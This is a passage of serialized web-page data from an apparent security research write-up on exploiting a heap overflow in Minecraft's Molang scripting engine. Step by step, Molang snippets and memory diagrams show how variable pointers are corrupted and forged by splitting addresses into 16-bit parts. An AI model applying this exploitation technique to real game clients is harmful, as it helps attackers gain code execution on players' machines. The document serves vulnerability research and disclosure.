",{"type":23,"tag":209,"props":153557,"children":153559},{"className":153558},[],[153560],{"type":28,"value":152914},{"type":28,"value":153562}," from that calculated address.",{"type":23,"tag":18945,"props":153564,"children":153566},{"id":153565},"testing-the-idea",[153567],{"type":28,"value":153568},"Testing the Idea",{"type":23,"tag":24,"props":153570,"children":153571},{},[153572,153574,153579,153581,153586,153588,153593],{"type":28,"value":153573},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":209,"props":153575,"children":153577},{"className":153576},[],[153578],{"type":28,"value":152980},{"type":28,"value":153580}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":87,"props":153582,"children":153583},{},[153584],{"type":28,"value":153585},"almost",{"type":28,"value":153587}," worked - below is the state of the ",{"type":23,"tag":209,"props":153589,"children":153591},{"className":153590},[],[153592],{"type":28,"value":152980},{"type":28,"value":153594},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":153596,"children":153597},{},[153598],{"type":23,"tag":4009,"props":153599,"children":153601},{"alt":50631,"src":153600},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":153603,"children":153604},{},[153605],{"type":28,"value":153606},"And this is after execution:",{"type":23,"tag":24,"props":153608,"children":153609},{},[153610],{"type":23,"tag":4009,"props":153611,"children":153613},{"alt":50631,"src":153612},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":153615,"children":153616},{},[153617],{"type":28,"value":153618},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":202,"props":153620,"children":153622},{"code":153621,"language":34054,"meta":7,"className":34052,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[153623],{"type":23,"tag":209,"props":153624,"children":153625},{"__ignoreMap":7},[153626,153633,153654,153666,153678,153699,153706,153713,153720,153732,153745,153757,153769,153781,153797,153804,153816,153824,153832,153839,153846,153853],{"type":23,"tag":213,"props":153627,"children":153628},{"class":215,"line":216},[153629],{"type":23,"tag":213,"props":153630,"children":153631},{"style":220},[153632],{"type":28,"value":10964},{"type":23,"tag":213,"props":153634,"children":153635},{"class":215,"line":226},[153636,153641,153645,153650],{"type":23,"tag":213,"props":153637,"children":153638},{"style":268},[153639],{"type":28,"value":153640}," \"format_version\"",{"type":23,"tag":213,"props":153642,"children":153643},{"style":220},[153644],{"type":28,"value":15390},{"type":23,"tag":213,"props":153646,"children":153647},{"style":246},[153648],{"type":28,"value":153649},"\"1.10.0\"",{"type":23,"tag":213,"props":153651,"children":153652},{"style":220},[153653],{"type":28,"value":944},{"type":23,"tag":213,"props":153655,"children":153656},{"class":215,"line":524},[153657,153662],{"type":23,"tag":213,"props":153658,"children":153659},{"style":268},[153660],{"type":28,"value":153661}," \"minecraft:client_entity\"",{"type":23,"tag":213,"props":153663,"children":153664},{"style":220},[153665],{"type":28,"value":37080},{"type":23,"tag":213,"props":153667,"children":153668},{"class":215,"line":533},[153669,153674],{"type":23,"tag":213,"props":153670,"children":153671},{"style":268},[153672],{"type":28,"value":153673}," \"description\"",{"type":23,"tag":213,"props":153675,"children":153676},{"style":220},[153677],{"type":28,"value":37080},{"type":23,"tag":213,"props":153679,"children":153680},{"class":215,"line":543},[153681,153686,153690,153695],{"type":23,"tag":213,"props":153682,"children":153683},{"style":268},[153684],{"type":28,"value":153685}," \"identifier\"",{"type":23,"tag":213,"props":153687,"children":153688},{"style":220},[153689],{"type":28,"value":15390},{"type":23,"tag":213,"props":153691,"children":153692},{"style":246},[153693],{"type":28,"value":153694},"\"minecraft:leash_knot\"",{"type":23,"tag":213,"props":153696,"children":153697},{"style":220},[153698],{"type":28,"value":944},{"type":23,"tag":213,"props":153700,"children":153701},{"class":215,"line":551},[153702],{"type":23,"tag":213,"props":153703,"children":153704},{"emptyLinePlaceholder":18},[153705],{"type":28,"value":530},{"type":23,"tag":213,"props":153707,"children":153708},{"class":215,"line":570},[153709],{"type":23,"tag":213,"props":153710,"children":153711},{"style":22456},[153712],{"type":28,"value":127494},{"type":23,"tag":213,"props":153714,"children":153715},{"class":215,"line":655},[153716],{"type":23,"tag":213,"props":153717,"children":153718},{"style":220},[153719],{"type":28,"value":152803},{"type":23,"tag":213,"props":153721,"children":153722},{"class":215,"line":1176},[153723,153728],{"type":23,"tag":213,"props":153724,"children":153725},{"style":268},[153726],{"type":28,"value":153727}," \"scripts\"",{"type":23,"tag":213,"props":153729,"children":153730},{"style":220},[153731],{"type":28,"value":37080},{"type":23,"tag":213,"props":153733,"children":153734},{"class":215,"line":1202},[153735,153740],{"type":23,"tag":213,"props":153736,"children":153737},{"style":268},[153738],{"type":28,"value":153739}," \"initialize\"",{"type":23,"tag":213,"props":153741,"children":153742},{"style":220},[153743],{"type":28,"value":153744},": [\n",{"type":23,"tag":213,"props":153746,"children":153747},{"class":215,"line":1758},[153748,153753],{"type":23,"tag":213,"props":153749,"children":153750},{"style":246},[153751],{"type":28,"value":153752}," \"variable.a = 0;\"",{"type":23,"tag":213,"props":153754,"children":153755},{"style":220},[153756],{"type":28,"value":944},{"type":23,"tag":213,"props":153758,"children":153759},{"class":215,"line":1767},[153760,153765],{"type":23,"tag":213,"props":153761,"children":153762},{"style":246},[153763],{"type":28,"value":153764}," \"variable.b = 0;\"",{"type":23,"tag":213,"props":153766,"children":153767},{"style":220},[153768],{"type":28,"value":944},{"type":23,"tag":213,"props":153770,"children":153771},{"class":215,"line":1789},[153772,153777],{"type":23,"tag":213,"props":153773,"children":153774},{"style":246},[153775],{"type":28,"value":153776}," \"variable.c = 0;\"",{"type":23,"tag":213,"props":153778,"children":153779},{"style":220},[153780],{"type":28,"value":944},{"type":23,"tag":213,"props":153782,"children":153783},{"class":215,"line":1812},[153784,153789,153793],{"type":23,"tag":213,"props":153785,"children":153786},{"style":220},[153787],{"type":28,"value":153788}," [",{"type":23,"tag":213,"props":153790,"children":153791},{"style":22456},[153792],{"type":28,"value":9675},{"type":23,"tag":213,"props":153794,"children":153795},{"style":220},[153796],{"type":28,"value":11856},{"type":23,"tag":213,"props":153798,"children":153799},{"class":215,"line":1838},[153800],{"type":23,"tag":213,"props":153801,"children":153802},{"style":220},[153803],{"type":28,"value":43697},{"type":23,"tag":213,"props":153805,"children":153806},{"class":215,"line":1851},[153807,153812],{"type":23,"tag":213,"props":153808,"children":153809},{"style":268},[153810],{"type":28,"value":153811}," \"pre_animation\"",{"type":23,"tag":213,"props":153813,"children":153814},{"style":220},[153815],{"type":28,"value":153744},{"type":23,"tag":213,"props":153817,"children":153818},{"class":215,"line":1864},[153819],{"type":23,"tag":213,"props":153820,"children":153821},{"style":246},[153822],{"type":28,"value":153823}," \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":213,"props":153825,"children":153826},{"class":215,"line":1890},[153827],{"type":23,"tag":213,"props":153828,"children":153829},{"style":220},[153830],{"type":28,"value":153831}," ]\n",{"type":23,"tag":213,"props":153833,"children":153834},{"class":215,"line":1899},[153835],{"type":23,"tag":213,"props":153836,"children":153837},{"style":220},[153838],{"type":28,"value":37257},{"type":23,"tag":213,"props":153840,"children":153841},{"class":215,"line":1912},[153842],{"type":23,"tag":213,"props":153843,"children":153844},{"style":220},[153845],{"type":28,"value":2875},{"type":23,"tag":213,"props":153847,"children":153848},{"class":215,"line":1921},[153849],{"type":23,"tag":213,"props":153850,"children":153851},{"style":220},[153852],{"type":28,"value":5964},{"type":23,"tag":213,"props":153854,"children":153855},{"class":215,"line":3879},[153856],{"type":23,"tag":213,"props":153857,"children":153858},{"style":220},[153859],{"type":28,"value":1208},{"type":23,"tag":24,"props":153861,"children":153862},{},[153863,153865,153870,153872,153877,153879,153884],{"type":28,"value":153864},"As shown, the pointer of a variable at offset ",{"type":23,"tag":209,"props":153866,"children":153868},{"className":153867},[],[153869],{"type":28,"value":152914},{"type":28,"value":153871}," was modified and the core concept works. During ",{"type":23,"tag":209,"props":153873,"children":153875},{"className":153874},[],[153876],{"type":28,"value":152872},{"type":28,"value":153878}," copy, pointers of some other variables above offset ",{"type":23,"tag":209,"props":153880,"children":153882},{"className":153881},[],[153883],{"type":28,"value":152914},{"type":28,"value":153885}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":153887,"children":153888},{},[153889],{"type":28,"value":153890},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":168,"props":153892,"children":153893},{},[153894,153907],{"type":23,"tag":135,"props":153895,"children":153896},{},[153897,153899,153905],{"type":28,"value":153898},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":209,"props":153900,"children":153902},{"className":153901},[],[153903],{"type":28,"value":153904},"FLT_MAX",{"type":28,"value":153906},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":135,"props":153908,"children":153909},{},[153910,153912,153917,153919,153924,153925,153930,153932,153937],{"type":28,"value":153911},"As noted before, during assignment, ",{"type":23,"tag":209,"props":153913,"children":153915},{"className":153914},[],[153916],{"type":28,"value":152872},{"type":28,"value":153918}," fields are copied, and the ",{"type":23,"tag":209,"props":153920,"children":153922},{"className":153921},[],[153923],{"type":28,"value":39209},{"type":28,"value":152962},{"type":23,"tag":209,"props":153926,"children":153928},{"className":153927},[],[153929],{"type":28,"value":55687},{"type":28,"value":153931},". Since our source ",{"type":23,"tag":209,"props":153933,"children":153935},{"className":153934},[],[153936],{"type":28,"value":152872},{"type":28,"value":153938}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":153940,"children":153941},{},[153942],{"type":28,"value":153943},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":18945,"props":153945,"children":153947},{"id":153946},"expanding-the-idea",[153948],{"type":28,"value":153949},"Expanding the Idea",{"type":23,"tag":24,"props":153951,"children":153952},{},[153953,153955,153960,153962,153967,153968,153973,153975,153980],{"type":28,"value":153954},"As mentioned earlier, the ",{"type":23,"tag":209,"props":153956,"children":153958},{"className":153957},[],[153959],{"type":28,"value":32812},{"type":28,"value":153961}," field of ",{"type":23,"tag":209,"props":153963,"children":153965},{"className":153964},[],[153966],{"type":28,"value":152872},{"type":28,"value":15503},{"type":23,"tag":209,"props":153969,"children":153971},{"className":153970},[],[153972],{"type":28,"value":57986},{"type":28,"value":153974},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":209,"props":153976,"children":153978},{"className":153977},[],[153979],{"type":28,"value":39209},{"type":28,"value":153981}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":153983,"children":153984},{},[153985,153987,153992],{"type":28,"value":153986},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":209,"props":153988,"children":153990},{"className":153989},[],[153991],{"type":28,"value":152980},{"type":28,"value":153993},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":153995,"children":153996},{},[153997,153999,154004,154006,154011,154013,154018,154019,154025],{"type":28,"value":153998},"In the example below, ",{"type":23,"tag":209,"props":154000,"children":154002},{"className":154001},[],[154003],{"type":28,"value":153406},{"type":28,"value":154005}," points to ",{"type":23,"tag":209,"props":154007,"children":154009},{"className":154008},[],[154010],{"type":28,"value":152980},{"type":28,"value":154012},", while ",{"type":23,"tag":209,"props":154014,"children":154016},{"className":154015},[],[154017],{"type":28,"value":153420},{"type":28,"value":154005},{"type":23,"tag":209,"props":154020,"children":154022},{"className":154021},[],[154023],{"type":28,"value":154024},"MolangVariableMap + 4",{"type":28,"value":277},{"type":23,"tag":202,"props":154027,"children":154029},{"code":154028}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[154030],{"type":23,"tag":209,"props":154031,"children":154032},{"__ignoreMap":7},[154033],{"type":28,"value":154028},{"type":23,"tag":24,"props":154035,"children":154036},{},[154037,154039,154044,154045,154050,154052,154057,154059,154064,154066,154071],{"type":28,"value":154038},"Here, the ",{"type":23,"tag":209,"props":154040,"children":154042},{"className":154041},[],[154043],{"type":28,"value":39209},{"type":28,"value":153961},{"type":23,"tag":209,"props":154046,"children":154048},{"className":154047},[],[154049],{"type":28,"value":153406},{"type":28,"value":154051}," starts at the lower 32 bits of the ",{"type":23,"tag":209,"props":154053,"children":154055},{"className":154054},[],[154056],{"type":28,"value":153476},{"type":28,"value":154058}," pointer, while ",{"type":23,"tag":209,"props":154060,"children":154062},{"className":154061},[],[154063],{"type":28,"value":153420},{"type":28,"value":154065}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":209,"props":154067,"children":154069},{"className":154068},[],[154070],{"type":28,"value":153476},{"type":28,"value":154072}," pointer in a separate variable:",{"type":23,"tag":202,"props":154074,"children":154076},{"code":154075},"variable.saved_upper_32 = variable.b;\n",[154077],{"type":23,"tag":209,"props":154078,"children":154079},{"__ignoreMap":7},[154080],{"type":28,"value":154075},{"type":23,"tag":24,"props":154082,"children":154083},{},[154084],{"type":28,"value":154085},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":202,"props":154087,"children":154089},{"code":154088},"variable.a = variable.a + itof(0x8);\n",[154090],{"type":23,"tag":209,"props":154091,"children":154092},{"__ignoreMap":7},[154093],{"type":28,"value":154088},{"type":23,"tag":24,"props":154095,"children":154096},{},[154097],{"type":28,"value":154098},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":202,"props":154100,"children":154102},{"code":154101}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[154103],{"type":23,"tag":209,"props":154104,"children":154105},{"__ignoreMap":7},[154106],{"type":28,"value":154101},{"type":23,"tag":24,"props":154108,"children":154109},{},[154110,154112,154117],{"type":28,"value":154111},"Since the 32 bits directly below the ",{"type":23,"tag":209,"props":154113,"children":154115},{"className":154114},[],[154116],{"type":28,"value":39209},{"type":28,"value":154118}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":202,"props":154120,"children":154122},{"code":154121},"variable.b = variable.saved_upper_32;\n",[154123],{"type":23,"tag":209,"props":154124,"children":154125},{"__ignoreMap":7},[154126],{"type":28,"value":154121},{"type":23,"tag":24,"props":154128,"children":154129},{},[154130,154132,154137],{"type":28,"value":154131},"Now ",{"type":23,"tag":209,"props":154133,"children":154135},{"className":154134},[],[154136],{"type":28,"value":153476},{"type":28,"value":154138}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":202,"props":154140,"children":154142},{"code":154141}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[154143],{"type":23,"tag":209,"props":154144,"children":154145},{"__ignoreMap":7},[154146],{"type":28,"value":154141},{"type":23,"tag":24,"props":154148,"children":154149},{},[154150,154152,154157],{"type":28,"value":154151},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":209,"props":154153,"children":154155},{"className":154154},[],[154156],{"type":28,"value":154024},{"type":28,"value":154158}," on the heap?",{"type":23,"tag":24,"props":154160,"children":154161},{},[154162,154164,154169,154171,154177],{"type":28,"value":154163},"Additionally, adding 8 to ",{"type":23,"tag":209,"props":154165,"children":154167},{"className":154166},[],[154168],{"type":28,"value":153406},{"type":28,"value":154170}," in the example above wouldn’t work because ",{"type":23,"tag":209,"props":154172,"children":154174},{"className":154173},[],[154175],{"type":28,"value":154176},"0xddccbba0",{"type":28,"value":154178}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":18945,"props":154180,"children":154182},{"id":154181},"the-final-approach",[154183],{"type":28,"value":154184},"The Final Approach",{"type":23,"tag":24,"props":154186,"children":154187},{},[154188,154190,154195,154197,154203],{"type":28,"value":154189},"We realized that instead of having the second pointer at ",{"type":23,"tag":209,"props":154191,"children":154193},{"className":154192},[],[154194],{"type":28,"value":154024},{"type":28,"value":154196},", we could instead have it at ",{"type":23,"tag":209,"props":154198,"children":154200},{"className":154199},[],[154201],{"type":28,"value":154202},"MolangVariableMap + 2",{"type":28,"value":154204},", which would resolve both of our issues.",{"type":23,"tag":24,"props":154206,"children":154207},{},[154208,154210,154215,154216,154221],{"type":28,"value":154209},"Let’s revisit the previous example, but this time ",{"type":23,"tag":209,"props":154211,"children":154213},{"className":154212},[],[154214],{"type":28,"value":153420},{"type":28,"value":154005},{"type":23,"tag":209,"props":154217,"children":154219},{"className":154218},[],[154220],{"type":28,"value":154202},{"type":28,"value":277},{"type":23,"tag":202,"props":154223,"children":154225},{"code":154224}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154226],{"type":23,"tag":209,"props":154227,"children":154228},{"__ignoreMap":7},[154229],{"type":28,"value":154224},{"type":23,"tag":24,"props":154231,"children":154232},{},[154233,154235,154240],{"type":28,"value":154234},"With this setup, we can calculate any address relative to ",{"type":23,"tag":209,"props":154236,"children":154238},{"className":154237},[],[154239],{"type":28,"value":153476},{"type":28,"value":154241}," by first saving the upper 48 bits of the address:",{"type":23,"tag":202,"props":154243,"children":154245},{"code":154244},"variable.saved_upper_48 = variable.b;\n",[154246],{"type":23,"tag":209,"props":154247,"children":154248},{"__ignoreMap":7},[154249],{"type":28,"value":154244},{"type":23,"tag":24,"props":154251,"children":154252},{},[154253,154254,154260,154262,154268],{"type":28,"value":129883},{"type":23,"tag":209,"props":154255,"children":154257},{"className":154256},[],[154258],{"type":28,"value":154259},"variable.saved_upper_48",{"type":28,"value":154261}," holds the value ",{"type":23,"tag":209,"props":154263,"children":154265},{"className":154264},[],[154266],{"type":28,"value":154267},"0x1c80ddcc",{"type":28,"value":124},{"type":23,"tag":24,"props":154270,"children":154271},{},[154272],{"type":28,"value":154273},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":202,"props":154275,"children":154277},{"code":154276},"variable.b = 0;\n",[154278],{"type":23,"tag":209,"props":154279,"children":154280},{"__ignoreMap":7},[154281],{"type":28,"value":154276},{"type":23,"tag":24,"props":154283,"children":154284},{},[154285],{"type":28,"value":154286},"Resulting in the following state:",{"type":23,"tag":202,"props":154288,"children":154290},{"code":154289}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154291],{"type":23,"tag":209,"props":154292,"children":154293},{"__ignoreMap":7},[154294],{"type":28,"value":154289},{"type":23,"tag":24,"props":154296,"children":154297},{},[154298,154300,154305,154307,154313,154315,154320],{"type":28,"value":154299},"Now, the value of ",{"type":23,"tag":209,"props":154301,"children":154303},{"className":154302},[],[154304],{"type":28,"value":153406},{"type":28,"value":154306}," only spans 16 bits (",{"type":23,"tag":209,"props":154308,"children":154310},{"className":154309},[],[154311],{"type":28,"value":154312},"0xbba0",{"type":28,"value":154314}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":209,"props":154316,"children":154318},{"className":154317},[],[154319],{"type":28,"value":153904},{"type":28,"value":124},{"type":23,"tag":24,"props":154322,"children":154323},{},[154324,154326,154331],{"type":28,"value":154325},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":209,"props":154327,"children":154329},{"className":154328},[],[154330],{"type":28,"value":153406},{"type":28,"value":277},{"type":23,"tag":202,"props":154333,"children":154334},{"code":154088},[154335],{"type":23,"tag":209,"props":154336,"children":154337},{"__ignoreMap":7},[154338],{"type":28,"value":154088},{"type":23,"tag":24,"props":154340,"children":154341},{},[154342],{"type":28,"value":154343},"Which results in:",{"type":23,"tag":202,"props":154345,"children":154347},{"code":154346}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154348],{"type":23,"tag":209,"props":154349,"children":154350},{"__ignoreMap":7},[154351],{"type":28,"value":154346},{"type":23,"tag":24,"props":154353,"children":154354},{},[154355],{"type":28,"value":154356},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":202,"props":154358,"children":154360},{"code":154359},"variable.b = variable.saved_upper_48;\n",[154361],{"type":23,"tag":209,"props":154362,"children":154363},{"__ignoreMap":7},[154364],{"type":28,"value":154359},{"type":23,"tag":24,"props":154366,"children":154367},{},[154368],{"type":28,"value":154369},"Yielding a valid pointer again:",{"type":23,"tag":202,"props":154371,"children":154373},{"code":154372}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154374],{"type":23,"tag":209,"props":154375,"children":154376},{"__ignoreMap":7},[154377],{"type":28,"value":154372},{"type":23,"tag":24,"props":154379,"children":154380},{},[154381],{"type":28,"value":154382},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":202,"props":154384,"children":154386},{"code":154385},"variable.saved_adjusted_lower_16 = variable.a;\n",[154387],{"type":23,"tag":209,"props":154388,"children":154389},{"__ignoreMap":7},[154390],{"type":28,"value":154385},{"type":23,"tag":24,"props":154392,"children":154393},{},[154394],{"type":28,"value":154395},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":202,"props":154397,"children":154399},{"code":154398},"variable.a = variable.saved_upper_48;\n",[154400],{"type":23,"tag":209,"props":154401,"children":154402},{"__ignoreMap":7},[154403],{"type":28,"value":154398},{"type":23,"tag":24,"props":154405,"children":154406},{},[154407],{"type":28,"value":154408},"This produces the following state:",{"type":23,"tag":202,"props":154410,"children":154412},{"code":154411}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154413],{"type":23,"tag":209,"props":154414,"children":154415},{"__ignoreMap":7},[154416],{"type":28,"value":154411},{"type":23,"tag":24,"props":154418,"children":154419},{},[154420,154422,154427,154429,154435,154437,154443,154445,154450,154452,154457],{"type":28,"value":154421},"As shown, ",{"type":23,"tag":209,"props":154423,"children":154425},{"className":154424},[],[154426],{"type":28,"value":153420},{"type":28,"value":154428}," now contains the upper 16 bits of the address (",{"type":23,"tag":209,"props":154430,"children":154432},{"className":154431},[],[154433],{"type":28,"value":154434},"0x1c80",{"type":28,"value":154436},"), which we can store as ",{"type":23,"tag":209,"props":154438,"children":154440},{"className":154439},[],[154441],{"type":28,"value":154442},"variable.saved_upper_16 = variable.b",{"type":28,"value":154444},". Meanwhile, ",{"type":23,"tag":209,"props":154446,"children":154448},{"className":154447},[],[154449],{"type":28,"value":153406},{"type":28,"value":154451}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":209,"props":154453,"children":154455},{"className":154454},[],[154456],{"type":28,"value":153420},{"type":28,"value":277},{"type":23,"tag":202,"props":154459,"children":154460},{"code":154276},[154461],{"type":23,"tag":209,"props":154462,"children":154463},{"__ignoreMap":7},[154464],{"type":28,"value":154276},{"type":23,"tag":24,"props":154466,"children":154467},{},[154468],{"type":28,"value":154469},"Leaving us with:",{"type":23,"tag":202,"props":154471,"children":154473},{"code":154472}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154474],{"type":23,"tag":209,"props":154475,"children":154476},{"__ignoreMap":7},[154477],{"type":28,"value":154472},{"type":23,"tag":24,"props":154479,"children":154480},{},[154481],{"type":28,"value":154482},"We can now save the middle 16 bits:",{"type":23,"tag":202,"props":154484,"children":154486},{"code":154485},"variable.saved_middle_16 = variable.a;\n",[154487],{"type":23,"tag":209,"props":154488,"children":154489},{"__ignoreMap":7},[154490],{"type":28,"value":154485},{"type":23,"tag":24,"props":154492,"children":154493},{},[154494],{"type":28,"value":154495},"At this point, we have:",{"type":23,"tag":202,"props":154497,"children":154499},{"code":154498},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[154500],{"type":23,"tag":209,"props":154501,"children":154502},{"__ignoreMap":7},[154503],{"type":28,"value":154498},{"type":23,"tag":24,"props":154505,"children":154506},{},[154507],{"type":28,"value":154508},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":154510,"children":154511},{},[154512],{"type":28,"value":154513},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":202,"props":154515,"children":154517},{"code":154516},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[154518],{"type":23,"tag":209,"props":154519,"children":154520},{"__ignoreMap":7},[154521],{"type":28,"value":154516},{"type":23,"tag":24,"props":154523,"children":154524},{},[154525],{"type":28,"value":154526},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":202,"props":154528,"children":154530},{"code":154529},"variable.a = variable.saved_adjusted_middle_16;\n",[154531],{"type":23,"tag":209,"props":154532,"children":154533},{"__ignoreMap":7},[154534],{"type":28,"value":154529},{"type":23,"tag":24,"props":154536,"children":154537},{},[154538,154540,154545,154546,154552,154553,154559],{"type":28,"value":154539},"Setting ",{"type":23,"tag":209,"props":154541,"children":154543},{"className":154542},[],[154544],{"type":28,"value":153406},{"type":28,"value":56829},{"type":23,"tag":209,"props":154547,"children":154549},{"className":154548},[],[154550],{"type":28,"value":154551},"0xddcd",{"type":28,"value":400},{"type":23,"tag":209,"props":154554,"children":154556},{"className":154555},[],[154557],{"type":28,"value":154558},"0xddcc + 1",{"type":28,"value":154560},"), and then:",{"type":23,"tag":202,"props":154562,"children":154564},{"code":154563},"variable.b = variable.saved_adjusted_upper_16;\n",[154565],{"type":23,"tag":209,"props":154566,"children":154567},{"__ignoreMap":7},[154568],{"type":28,"value":154563},{"type":23,"tag":24,"props":154570,"children":154571},{},[154572,154574,154579,154581,154587,154588,154594],{"type":28,"value":154573},"Resulting in ",{"type":23,"tag":209,"props":154575,"children":154577},{"className":154576},[],[154578],{"type":28,"value":153420},{"type":28,"value":154580}," value becoming ",{"type":23,"tag":209,"props":154582,"children":154584},{"className":154583},[],[154585],{"type":28,"value":154586},"0x1c81",{"type":28,"value":400},{"type":23,"tag":209,"props":154589,"children":154591},{"className":154590},[],[154592],{"type":28,"value":154593},"0x1c80 + 1",{"type":28,"value":24004},{"type":23,"tag":202,"props":154596,"children":154598},{"code":154597}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154599],{"type":23,"tag":209,"props":154600,"children":154601},{"__ignoreMap":7},[154602],{"type":28,"value":154597},{"type":23,"tag":24,"props":154604,"children":154605},{},[154606],{"type":28,"value":154607},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":202,"props":154609,"children":154611},{"code":154610},"variable.saved_adjusted_upper_48 = variable.a;\n",[154612],{"type":23,"tag":209,"props":154613,"children":154614},{"__ignoreMap":7},[154615],{"type":28,"value":154610},{"type":23,"tag":24,"props":154617,"children":154618},{},[154619],{"type":28,"value":154620},"Finally, we attach the lower 16 bits:",{"type":23,"tag":202,"props":154622,"children":154624},{"code":154623},"variable.a = variable.saved_adjusted_lower_16;\n",[154625],{"type":23,"tag":209,"props":154626,"children":154627},{"__ignoreMap":7},[154628],{"type":28,"value":154623},{"type":23,"tag":202,"props":154630,"children":154632},{"code":154631}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154633],{"type":23,"tag":209,"props":154634,"children":154635},{"__ignoreMap":7},[154636],{"type":28,"value":154631},{"type":23,"tag":24,"props":154638,"children":154639},{},[154640],{"type":28,"value":154641},"And by setting:",{"type":23,"tag":202,"props":154643,"children":154645},{"code":154644},"variable.b = 